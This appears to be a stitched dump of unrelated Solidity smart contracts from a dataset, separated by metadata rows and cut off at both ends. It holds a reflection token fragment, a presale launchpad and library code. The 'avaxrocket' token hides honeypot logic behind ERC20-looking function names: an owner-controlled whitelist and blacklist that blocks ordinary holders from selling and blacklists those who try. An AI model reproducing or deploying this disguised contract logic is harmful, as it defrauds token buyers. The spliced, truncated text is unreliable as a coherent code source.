reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Crank is Context, DeployerCERTIK, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _allTotalSupply = 100000000000 * 10**6 * 10**9; uint256 private _rTotalSupply = (MAX - (MAX % _allTotalSupply)); uint256 private _tFeeTotal; string private _name = 'Crank'; string private _symbol = 'Crank'; uint8 private _decimals = 9; constructor () { _rOwned[_msgSender()] = _rTotalSupply; emit Transfer(address(0), _msgSender(), _allTotalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _allTotalSupply; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function reflect(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotalSupply = _rTotalSupply.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _allTotalSupply, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotalSupply, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is not excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is not excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotalSupply = _rTotalSupply.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(5); uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotalSupply; uint256 tSupply = _allTotalSupply; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotalSupply, _allTotalSupply); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotalSupply.div(_allTotalSupply)) return (_rTotalSupply, _allTotalSupply); return (rSupply, tSupply); } }
322,890
12,008
04c680153ff3d678e43cadc91b65017c9e79a498c22412bcebd0f0af00cfaad2
29,572
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/mainnet/a3/a38a4ecb19982ad05c00f0a2419ccdd228e2e5b4_avaxrocket.sol
3,392
12,615
pragma solidity ^0.6.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract avaxrocket is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F; constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
84,379
12,009
c90871e0b01502d3ff847907da1cb075aba4b241bda1f7b2e8f48e59608bf173
14,808
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/90/9001843401acabaaa588fde9521eafaf9bd7440b_Proxy.sol
3,673
13,272
pragma solidity ^0.6.0; // SPDX-License-Identifier: MIT library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function ceil(uint a, uint m) internal pure returns (uint r) { return (a + m - 1) / m * m; } } contract Owned { address payable public owner; event OwnershipTransferred(address indexed _from, address indexed _to); constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address payable _newOwner) public onlyOwner { owner = _newOwner; emit OwnershipTransferred(msg.sender, _newOwner); } } interface IToken { function decimals() external view returns (uint256); function transfer(address to, uint256 tokens) external returns (bool success); function burnTokens(uint256 _amount) external; function balanceOf(address tokenOwner) external view returns (uint256 balance); function approve(address _spender, uint256 _amount) external returns (bool success); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } interface MetaStake { function deposit(uint, uint) external; function depositFor(uint,uint,address) external; function withdraw(uint, uint) external; function userInfo(uint, address) external view returns (uint, uint); } contract MetaswapLaunchpad is Owned { using SafeMath for uint256; bool public isPresaleOpen; address public tokenAddress; // buy uint256 public tokenDecimals = 18; // address public _crypto = 0x55d398326f99059fF775485246999027B3197955; // USDT // sell address public _crypto = 0xDFCd0b91AE2BB34a90D9b4970Dc113DFaf25004d; // testnet Cool // sell uint256 public tokenRatePerEth = 0; uint256 public tokenRatePercrypto = 0; uint256 public rateDecimals = 0; uint256 public minEthLimit = 1e17; // 0.1 BNB uint256 public maxEthLimit = 10e18; // 10 BNB uint256 public BUSDminEthLimit = 1e17; // 0.1 BNB uint256 public BUSDmaxEthLimit = 10e18; uint256 public soldTokens=0; uint256 public intervalDays; uint256 public endTime = 2 days; bool public isClaimable = false; bool public isWhitelisted = false; bool public iscrypto = false; uint256 public hardCap = 10 ether; uint256 public BUSDhardCap = 10 ether; uint256 public earnedCap =0; uint256 public BUSDearnedCap =0; uint256 public whitelistLength = 0; address public Staker; uint256 public currentPoolId = 0; mapping(address => uint256) public usersInvestments; mapping(address => uint256) public usersBUSDInvestments; mapping(address => uint256) public balanceOf; mapping(address => mapping(address => uint256)) public whitelistedAddresses; function startPresale(uint256 numberOfdays) external onlyOwner{ require(!isPresaleOpen, "Presale is open"); intervalDays = numberOfdays.mul(1 days); endTime = block.timestamp.add(intervalDays); isPresaleOpen = true; isClaimable = false; } function closePresale() external onlyOwner{ require(isPresaleOpen, "Presale is not open yet or ended."); isPresaleOpen = false; } function setTokenAddress(address token) external onlyOwner { tokenAddress = token; } function setCurrentPoolId(uint256 _pid) external onlyOwner { currentPoolId = _pid; } function setTokenDecimals(uint256 decimals) external onlyOwner { tokenDecimals = decimals; } function setCryptoAddress(address token) external onlyOwner { _crypto = token; } function setMinEthLimit(uint256 amount) external onlyOwner { minEthLimit = amount; } function setBUSDMinEthLimit(uint256 amount) external onlyOwner { BUSDminEthLimit = amount; } function setMaxEthLimit(uint256 amount) external onlyOwner { maxEthLimit = amount; } function setBUSDMaxEthLimit(uint256 amount) external onlyOwner { BUSDmaxEthLimit = amount; } function setTokenRatePerEth(uint256 rate) external onlyOwner { tokenRatePerEth = rate; } function setTokenRatePercrypto(uint256 rateBUSD) external onlyOwner { tokenRatePercrypto = rateBUSD; } function setRateDecimals(uint256 decimals) external onlyOwner { rateDecimals = decimals; } function getUserInvestments(address user) public view returns (uint256){ return usersInvestments[user]; } function getUserBUSDInvestments(address user) public view returns (uint256){ return usersBUSDInvestments[user]; } function getUserClaimbale(address user) public view returns (uint256){ return balanceOf[user]; } function addWhitelistedAddress(address _address, uint256 _allocation) external onlyOwner { whitelistedAddresses[tokenAddress][_address] = _allocation; } function addMultipleWhitelistedAddresses(address[] calldata _addresses, uint256[] calldata _allocation) external onlyOwner { for (uint i=0; i<_addresses.length; i++) { whitelistLength = whitelistLength.add(1); whitelistedAddresses[tokenAddress][_addresses[i]] = _allocation[i]; } } function removeWhitelistedAddress(address _address) external onlyOwner { whitelistedAddresses[tokenAddress][_address] = 0; whitelistLength = whitelistLength.sub(1); } receive() external payable{ uint256 amount = msg.value; if(block.timestamp > endTime || earnedCap.add(amount) > hardCap) isPresaleOpen = false; require(isPresaleOpen, "Presale is not open."); if(isWhitelisted){ require(whitelistedAddresses[tokenAddress][msg.sender] > 0, "you are not whitelisted"); require(whitelistedAddresses[tokenAddress][msg.sender] >= amount, "amount too high"); require(usersInvestments[msg.sender].add(amount) <= whitelistedAddresses[tokenAddress][msg.sender], "Maximum purchase cap hit"); }else{ require(usersInvestments[msg.sender].add(amount) <= maxEthLimit && usersInvestments[msg.sender].add(amount) >= minEthLimit, "Installment Invalid."); } require(earnedCap.add(amount) <= hardCap,"Hard Cap Exceeds"); require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) > 0 ,"No Presale Funds left"); uint256 tokenAmount = getTokensPerEth(amount); require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) >= tokenAmount ,"No Presale Funds left"); // require(msg.value),"Insufficient balance from User"); balanceOf[msg.sender] = balanceOf[msg.sender].add(tokenAmount); soldTokens = soldTokens.add(tokenAmount); usersInvestments[msg.sender] = usersInvestments[msg.sender].add(amount); earnedCap = earnedCap.add(amount); payable(owner).transfer(amount); IToken(tokenAddress).approve(Staker,soldTokens); } function buyToken(uint256 amount) public{ if(block.timestamp > endTime || BUSDearnedCap.add(amount) > BUSDhardCap) isPresaleOpen = false; require(isPresaleOpen, "Presale is not open."); if(isWhitelisted){ require(whitelistedAddresses[tokenAddress][msg.sender] > 0, "you are not whitelisted"); require(whitelistedAddresses[tokenAddress][msg.sender] >= amount, "amount too high"); require(usersBUSDInvestments[msg.sender].add(amount) <= whitelistedAddresses[tokenAddress][msg.sender], "Maximum purchase cap hit"); }else{ require(usersBUSDInvestments[msg.sender].add(amount) <= BUSDmaxEthLimit && usersBUSDInvestments[msg.sender].add(amount) >= BUSDminEthLimit, "Installment Invalid."); } require(BUSDearnedCap.add(amount) <= BUSDhardCap,"Hard Cap Exceeds"); require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) > 0 ,"No Presale Funds left"); uint256 tokenAmount = getTokenPerCrypto(amount); require((IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens) >= tokenAmount ,"No Presale Funds left"); require(IToken(_crypto).transferFrom(msg.sender,owner, amount),"Insufficient balance from User"); balanceOf[msg.sender] = balanceOf[msg.sender].add(tokenAmount); soldTokens = soldTokens.add(tokenAmount); usersBUSDInvestments[msg.sender] = usersBUSDInvestments[msg.sender].add(amount); BUSDearnedCap = BUSDearnedCap.add(amount); IToken(tokenAddress).approve(Staker,soldTokens); } function claimTokens() public{ // require(!isPresaleOpen, "You cannot claim tokens until the presale is closed."); // require(isClaimable, "You cannot claim tokens until the finalizeSale."); require(balanceOf[msg.sender] > 0 , "No Tokens left !"); MetaStake(Staker).depositFor(currentPoolId,balanceOf[msg.sender],msg.sender); balanceOf[msg.sender]=0; } function finalizeSale(address _staker) public onlyOwner{ isClaimable = !(isClaimable); Staker = _staker; IToken(tokenAddress).approve(Staker,soldTokens); soldTokens = 0; } function approveContarct(address _staker,uint256 _amount) public onlyOwner { Staker = _staker; IToken(tokenAddress).approve(_staker,_amount); } function deposit(uint256 _pid,uint256 _amount) public onlyOwner{ MetaStake(Staker).depositFor(_pid,_amount,msg.sender); } function whitelistedSale() public onlyOwner{ isWhitelisted = !(isWhitelisted); } function setHardCap(uint256 _hardCap) public onlyOwner{ hardCap = _hardCap; } function setBUSDHardCap(uint256 _BUSDhardCap) public onlyOwner{ BUSDhardCap = _BUSDhardCap; } function getTokensPerEth(uint256 amount) public view returns(uint256) { return amount.mul(tokenRatePerEth).div(10**(uint256(18).sub(tokenDecimals).add(rateDecimals))); } function getTokenPerCrypto(uint256 _amount) public view returns (uint256){ return _amount.mul(tokenRatePercrypto).div(10**(uint256(IToken(_crypto).decimals()).sub(uint256(IToken(tokenAddress).decimals()).add(rateDecimals)))); } function withdrawBNB() public onlyOwner{ require(address(this).balance > 0 , "No Funds Left"); owner.transfer(address(this).balance); } function getUnsoldTokensBalance() public view returns(uint256) { return IToken(tokenAddress).balanceOf(address(this)); } function burnUnsoldTokens() external onlyOwner { require(!isPresaleOpen, "You cannot burn tokens untitl the presale is closed."); IToken(tokenAddress).burnTokens(IToken(tokenAddress).balanceOf(address(this))); } function getUnsoldTokens() external onlyOwner { require(!isPresaleOpen, "You cannot get tokens until the presale is closed."); soldTokens = 0; IToken(tokenAddress).transfer(owner, (IToken(tokenAddress).balanceOf(address(this))).sub(soldTokens)); } constructor(address _tokenAddress, uint256 _tokenRatePerEth, uint256 _tokenRatePercrypto, uint256 _maxEthLimit, uint256 _minEthLimit, uint256 _BUSDmaxEthLimit, uint256 _BUSDminEthLimit, uint256 _hardCap, uint256 _BUSDhardCap, uint256 _poolId, address _staker, address _owner) public { tokenAddress = _tokenAddress; tokenRatePerEth = _tokenRatePerEth; tokenRatePercrypto = _tokenRatePercrypto; maxEthLimit = _maxEthLimit; minEthLimit = _minEthLimit; BUSDmaxEthLimit = _BUSDmaxEthLimit; BUSDminEthLimit = _BUSDminEthLimit; hardCap = _hardCap; BUSDhardCap = _BUSDhardCap; currentPoolId = _poolId; Staker = _staker; owner = payable(_owner); } } contract Proxy is Owned { mapping(address => address) public _presale; function createPresale(address _tokenAddress, uint256 _tokenRatePerEth, uint256 _tokenRatePercrypto, uint256 _maxEthLimit, uint256 _minEthLimit, uint256 _BUSDmaxEthLimit, uint256 _BUSDminEthLimit, uint256 _hardCap, uint256 _BUSDhardCap, uint256 _poolId, address _staker) public onlyOwner { _presale[_tokenAddress] = address(new MetaswapLaunchpad(_tokenAddress,_tokenRatePerEth,_tokenRatePercrypto,_maxEthLimit,_minEthLimit,_BUSDmaxEthLimit,_BUSDminEthLimit,_hardCap,_BUSDhardCap,_poolId,_staker,msg.sender)); } function getPresale(address _token) public view returns (address){ return _presale[_token]; } }
121,032
12,010
dd03c37549f6306edff79451bc358c5bc0d1e9276e1f965cead0431743dd0a4c
9,687
.sol
Solidity
false
416581097
NoamaSamreen93/SmartScan-Dataset
0199a090283626c8f2a5e96786e89fc850bdeabd
sorted-evaluation-dataset/0.5/0x9b0f70df76165442ca6092939132bbaea77f2d7a.sol
2,646
9,308
// hevm: flattened sources of src/vox.sol pragma solidity ^0.4.18; ////// lib/ds-guard/lib/ds-auth/src/auth.sol // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSAuthority { function canCall(address src, address dst, bytes4 sig) public view returns (bool); } contract DSAuthEvents { event LogSetAuthority (address indexed authority); event LogSetOwner (address indexed owner); } contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; function DSAuth() public { owner = msg.sender; LogSetOwner(msg.sender); } function setOwner(address owner_) public auth { owner = owner_; LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } } ////// lib/ds-spell/lib/ds-note/src/note.sol /// note.sol -- the `note' modifier, for logging calls as events // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. contract DSNote { event LogNote(bytes4 indexed sig, address indexed guy, bytes32 indexed foo, bytes32 indexed bar, uint wad, bytes fax) anonymous; modifier note { bytes32 foo; bytes32 bar; assembly { foo := calldataload(4) bar := calldataload(36) } LogNote(msg.sig, msg.sender, foo, bar, msg.value, msg.data); _; } } ////// lib/ds-thing/lib/ds-math/src/math.sol /// math.sol -- mixin for inline numerical wizardry // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You 